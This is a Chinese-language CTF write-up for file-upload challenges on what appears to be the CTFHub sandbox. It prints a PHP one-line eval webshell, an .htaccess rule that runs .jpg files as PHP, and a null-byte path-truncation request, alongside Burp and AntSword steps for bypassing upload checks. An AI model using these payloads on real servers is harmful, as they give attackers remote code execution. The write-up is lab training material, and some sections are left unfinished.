无验证
上传一个一句话木马
<?php @eval($_POST['upload']);?>
然后用蚁剑连接
在上级目录就可以看到flag的php文件
前端验证
这个可以用burp suit抓包,分析一下,发现只允许jpg,png,gif格式上传,
我们将php文件后缀改成jpg提交,然后抓包再改回来,用蚁剑连接成功
.htaccess验证
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
先上传htaccess,然后上传jgp文件
将后缀为jpg的文件解析成php
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
MIME绕过
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
00截断
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
这道题我浪费了很长时间,路径错了
修改的路径
POST /?road=/var/www/html/upload/1.php%00 HTTP/1.1
但是连接蚁剑的路径确是这样
http://challenge-e7ee2db32956d663.sandbox.ctfhub.com:10800/upload/1.php
我理解的应该是这样
http://challenge-e7ee2db32956d663.sandbox.ctfhub.com:10800/?road=/var/www/html/upload/1.php
我理解的路径是错的,我是看前面的路径修改的,竟然连上蚁剑了
双写后缀
文件头检测
随便提交一个文件
然后上传一个jpg文件,发现报错,考虑图片马
制作图片马(图片大小最好不要超过20kb,否则上传失败)
上传文件,用burp抓包,并修改文件后缀